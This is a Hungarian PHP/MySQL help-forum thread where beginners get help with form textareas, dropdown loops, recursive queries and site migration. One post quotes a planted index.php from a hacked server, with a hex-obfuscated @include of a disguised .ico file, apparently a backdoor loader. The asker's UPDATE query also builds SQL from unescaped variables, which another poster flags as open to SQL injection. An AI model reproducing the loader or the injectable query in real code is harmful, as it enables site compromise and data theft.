Keresés

Részletes keresés

Laja73 Creative Commons License 2018.03.29 0 0 10145

Vagy ha vki ragaszkodik hozzá, idézőjellel, akkor is a változó értéke jelenik meg.

Előzmény: annyi baj legyen (10142)
_szergej_ Creative Commons License 2018.03.28 0 0 10144

Bocs, hogy belevau, de 2 (jo) tanacs:

- remelhetoleg az sql utasitasaidban szereplo valtozok nem 1:1-ben a requestben szereplo adatok, ahogy jottek. Olvasnivalo: sql injection (http://lmgtfy.com/?q=sql+injectionhttps://xkcd.com/327/)

- ertheto, hogy jo erzes feltalalni ujra a spanyolviaszt, es megirni mindent egyedul a nullarol, de a projekt komplexitasatol fuggoen lehet, hogy jobban jarnal valamilyen framework hasznalataval (ld. elozo pont)

Előzmény: OzzyOsbourne67 (10143)
OzzyOsbourne67 Creative Commons License 2018.03.28 0 0 10143

Köszönöm, PERFECT!!!!

Na most már csak azt nem tudom, ezt próbáltam-e,  vagy nem.

Van egy olyan érzésem, hogy az F5-el is szívattam magam, mert elképzelhető, hogy volt, amikor jó lett, de ugyan azzal a szöveggel próbáltam és ezért azonossal felülírtam, amikor már jó volt.

 

Soha nem derül ki. :-D

 

Még egyszer köszönöm!!!!!!!

 

A követkkező kérdést nem teszem még fel, szeretem magam megoldani, hogy beégjenek a hibák. :-)

De lehet hogy jelentkezem majd.

Az egy SELECT value probléma szintén módosításnál. :-)

Előzmény: annyi baj legyen (10142)
annyi baj legyen Creative Commons License 2018.03.28 0 1 10142

Aposztróf nélkül, mint az előbb írtam.
echo $megjegyzes;

Előzmény: OzzyOsbourne67 (10141)
OzzyOsbourne67 Creative Commons License 2018.03.28 0 0 10141

Jajj, igen, ez már volt, csak kapkodom. :-)

 

Most ez az eredmény a korrigálással:

 

Előzmény: annyi baj legyen (10139)
annyi baj legyen Creative Commons License 2018.03.28 0 0 10140

Illetve a $megjegyzes természetesen aposztróf nélkül legyen az echo-ban.


Előzmény: annyi baj legyen (10139)
annyi baj legyen Creative Commons License 2018.03.28 0 0 10139

Mert rosszul használod a textarea tag-et.
<textarea id="megjegyzes" name="megjegyzes" rows="5" cols="45" <?php echo '$megjegyzes'; ?>"></textarea>

helyett

<textarea id="megjegyzes" name="megjegyzes" rows="5" cols="45" ><?php echo '$megjegyzes'; ?></textarea>

 

 

Előzmény: OzzyOsbourne67 (10137)
OzzyOsbourne67 Creative Commons License 2018.03.28 0 0 10138

Ez a kép lemaradt:

 

Előzmény: OzzyOsbourne67 (10137)
OzzyOsbourne67 Creative Commons License 2018.03.28 0 0 10137

Szia!

 

$megjegyzes = $sor['MEGJEGYZES']; sorral megadom ezt az értéket a "$megjegyzes"-nek.

.. meg több változónak is természetesen.

 

A képen az látható, hogy amikor lekérem a $_POST-ot, és kiiratom Print_r-el, ott van a MEGJEGYZES mező értéke a Blalalalala.

Pirossal jelöltem a jobb felső sarokban.

Ez a PHP rész volt.

 

 

Utána a HTML form-ban több sor is van, mert van több input mező, de azok jól működnek.

Azok is a $sor[...] módon megadott értékek mint a $megjegyzes is a PHP részben.

 

A TEXTAREA megjegyzés mező viszont csak sima üres és ha tolok egy submitot, felül is írja a mezőt a rekordban.

Tuti, valami triviális baromságot csinálok, de nem jövök rá. :-D

Amit írtál, azt itt most módosítottam.

 

<p><label for="MEGJEGYZES">Megjegyzés:</label><br>
<textarea id="megjegyzes" name="megjegyzes" rows="5" cols="45" <?php echo '$megjegyzes'; ?>"></textarea></p>
<p><em>* A csillaggal jelölt mezők kitöltése kötelező</em></p>
<input type="submit" id="rendben" name="rendben" value="Rendben">
<input type="reset" value="Mégsem">
<p><a href="project.php">Vissza a projektekhez</a></p>

 

 

Ez az UPDATE rész, amiben felül is írodik szépen minden:

$sql = "UPDATE project
SET VISZID = '{$viszid}', FELHID = '{$felhid}', ERTEK = '{$ertek}', STATUSZ = '{$statusz}', MEGJEGYZES = '{$megjegyzes}', FELELOS = '{$felelos}' WHERE ID = {$id}";
mysqli_query($dbconn, $sql);

 

Előzmény: annyi baj legyen (10136)
annyi baj legyen Creative Commons License 2018.03.28 0 0 10136

<textarea>
<? echo 'ez jelenik meg, nem a value'; ?>
</textarea>

Előzmény: OzzyOsbourne67 (10135)
OzzyOsbourne67 Creative Commons License 2018.03.28 0 0 10135

Sziasztok!

Egy újabb kérdésem lenne.

 

TEXTAREA tag

 

Felvitelnél szépen működik.

Kiírja a vízjelet és rögzül az adatbázisban a beírt tartalom.

 

Most a módosítás oldalt csinálom.

Egy $megjegyzes változóba megadom az adatbázisban rögzített szöveget.

Ezt egy print utasítással előtte kiirattam, meg van a tartalom, nem üres a változó.

Előtte van több input sor is, ahol a tartalmak a módosításhoz megjelennek, csak a TEAXTAREA hibázik.

 

De a TEXTAREA tagban az ablak üres marad, nem jelenik meg.

Mit hagytam ki?

 

<p><label for="MEGJEGYZES">Megjegyzés:</label><br>
<textarea id="megjegyzes" name="megjegyzes" rows="5" cols="45" value="<?PHP $megjegyzes; ?>"></textarea></p>

 

Köszi

 

Soma

OzzyOsbourne67 Creative Commons License 2018.03.24 0 0 10134

Nagyon köszönöm!!!! Máris szépen működik. :-)

Előzmény: Laja73 (10133)
Laja73 Creative Commons License 2018.03.24 0 1 10133

Kihagytál egy pontosvesszőt az echo után (ez még egymilliószor elő fog fordulni életed során) illetve az option tag a cikluson belülre kell. Nem hiba de a value tk. felesleges itt. 

Előzmény: OzzyOsbourne67 (10132)
OzzyOsbourne67 Creative Commons License 2018.03.24 0 0 10132

Sziasztok!

 

Kezdő szinten vagyok, de ez ki is fog derülni mindjárt a kérdésemből. :-)

Három napja nézek példákat, de folyamatosan olyanokat találok, ami listázások, nem rekord kiválasztásra adnak választ.

 

Az alábbi kis rutinommal szeretnék egy meglévő adatbázisból a cikkszámokat egy legördülő listába varázsolni WHILE ciklussal. A feladat az lenne, hogy itt tudjak választani cikket, ami vissza adja a cikkszámot és ezt felhasználom utána.

 

Szintaktikai hiba biztosan van az OPTION - WHILE sorban, mert írja futáskor, de egyáltalán jó felé keresgélem a megoldást?

 

Parse error: syntax error, unexpected '}', expecting ',' or ';' in C:xampphtdocscmrsprojectprobacikk.php on line 14

 

Természetesen a SELECT még fog tartalmazni egyéb INPUT sorokat is, ezért van megnyitva.

 

Íme a tényállás.

 

<?php
$con = mysql_connect("localhost","root","");
$db = mysql_select_db("cmrs",$con);
$get=mysql_query("SELECT `CIKKSZAM` FROM `cikkek`");
?>

 

<!DOCTYPE html>

 

<html>

<body>

 

<form method="post" action="" enctype="multipart/form-data">

     <select>
          <option value = "<?php while ($row = mysql_fetch_assoc($get)) {echo $row['CIKKSZAM']} ?>"></option>
          <input type="submit" id="rendben" name="rendben" value="Rendben">
     </select>
</form>

 

</body>
</html>

 

Köszönöm a segítséget!!!

Soma

hellsing Creative Commons License 2017.10.04 0 0 10131

Köszönöm!

Előzmény: halaloszto (10130)
halaloszto Creative Commons License 2017.10.02 0 0 10130

https://mariadb.com/kb/en/library/with/

 

azt vedd észre, hogy a with definiál egy view-t, ami önmagát hivatkozza.

 

 

Előzmény: hellsing (10129)
hellsing Creative Commons License 2017.10.02 0 0 10129

És eddig nem vettem észre, hogy MariaSQL-en vagyok :o)

Előzmény: hellsing (10128)
hellsing Creative Commons License 2017.10.02 0 0 10128

MariaDB 10.1.21., talán rövidesen frissítve (10.2.x.).

 

Kérlek segíts, még nem csináltam rekurzív lekérdezést.

Előzmény: halaloszto (10127)
halaloszto Creative Commons License 2017.10.02 0 0 10127

hányas mysql?

 

az újabban tudják az sql1999 szerinti rekurzív queryt. kicsit könnyebb épelméjűnek megmaradni, ha azt használod.

 

Vajk

Előzmény: hellsing (10125)
darksheep66 Creative Commons License 2017.10.02 0 0 10126

Sziasztok! A segítségeteket szeretném kérni. 

Csináltam egy weboldalt egy webshopmotor használatával, fel is töltöttem egy domainre, viszont egy idő után az admin bejelentkező felület domain/webadmin.php szétesett és nem enged bejelentkezni. Mi lehet a probléma? Esetleg elérhetem valamilyen alternatív módon a felületet?

Köszi előre is

hellsing Creative Commons License 2017.10.02 0 0 10125

'reggelt!

 

Ismerkedek a hierarchikus adatok nested set modelljével. Az adattábla a szokásos: id, név, lft, rgt. Kéne egy lekérdezés, ami kiírja: id, név, szint, szülő id. Eddig jutottam:

 

    SELECT node.*, (COUNT(parent.name) - 1) AS depth FROM ncats AS node, ncats AS parent
    WHERE node.lft BETWEEN parent.lft AND parent.rgt
    GROUP BY node.name
    ORDER BY node.lft

 

...de nem tudom mellé tenni a szülő id-ját. Ebben a példában van egy subquery-s megoldás, de nem tudtam a kettőt egybe gyűrni. Tudnátok segíteni?

NevemTeve Creative Commons License 2017.07.31 0 0 10124

A hibakeresés hiánya. Lásd pl itt: http://web.axelero.hu/lzsiga/ekezet.html#Q0057

Előzmény: tachocontroll (10123)
tachocontroll Creative Commons License 2017.07.30 0 0 10123

Sziasztok!

 

Próbálok átköltöztetni egy kész oldalt SQL adatbázissal együtt. Az adatbázishoz sikerül kapcsolódni.

 

Mi lehet a következő hiba oka:

 

mysql_fetch_array() expects parameter 1 to be resource, boolean given in /volume1/web/index.php on line 93 Call Stack: 0.0001 133944 1. {main}() /volume1/web/index.php:0 0.0058 142944 2. mysql_fetch_array() /volume1/web/index.php:93

NevemTeve Creative Commons License 2017.07.25 0 0 10122
NevemTeve Creative Commons License 2017.07.25 0 0 10121

> Hogyan jöhet be szervere illetéktelenül valaki

 

Hát, ha ezt egy fórumhozzászólásban el lehetne mind magyarázni... Mondjuk az accountod kompromittálódott (értsd: a haxor megszerezte/kitaltálta a jelszavadat). Vagy ez egész szerver.

 

Kezdetnek a saját gépeden tarts víruskeresést.

 

https://en.wikipedia.org/wiki/Internet_security

Előzmény: Maci65 (10120)
Maci65 Creative Commons License 2017.07.25 0 0 10120

Segítséget szeretnék kérni. Hogyan jöhet be szervere illetéktelenül valaki, és az index.html-t átnevezi, illetve létrehoz egy index.php fájlt ezzel a tartalommal:

 

<?php
/*40e4a*/

@include "x2fhox6de/x68tmx6c/lx61ngx6covx61gox6b.hx75/ax72t/x66avx69cox6e_cx3261x650.x69co";

/*40e4a*/


echo file_get_contents('index.html.bak.bak');

 

bozsy82 Creative Commons License 2017.07.10 0 0 10119

Egyéb php-s dolgokban is tudnál segíteni?Szeretném megtanulni feladatokon keresztül, de nem nagyon talalok olyan oldalt, ahol feladat és magyarázat ill. megoldás is van.

 

Köszönöm.

Előzmény: NevemTeve (10116)
bozsy82 Creative Commons License 2017.07.09 0 0 10118

Sikerült!Így tökéletesen működik!

 

$cont = file_get_contents('adatok2.txt');

echo '<h3>Fájl tartalma: </h3>';

$arr1 = (explode(',',$cont,-1));
foreach ($arr1 as $neg) 

{
if ($neg < 0) print "$neg ,";
}

Előzmény: NevemTeve (10116)
bozsy82 Creative Commons License 2017.07.09 0 0 10117

ez nekem így elsőre túl bonyolult :/

Előzmény: NevemTeve (10116)
NevemTeve Creative Commons License 2017.07.09 0 1 10116

Így, egy sorban, vesszővel elválasztva?

#!/usr/local/bin/php
<?php
    $s= "1, 2,-1 , -2n";
    $snet= rtrim ($s);
    $arr= preg_split ("/ *, */", $snet);

    foreach ($arr as $val) {
        if (is_numeric ($val) && intval ($val)<0) {
            printf ("%d ", intval ($val));
        }
    }
    printf ("\n");
?>

Előzmény: bozsy82 (10115)

Ha kedveled azért, ha nem azért nyomj egy lájkot a Fórumért!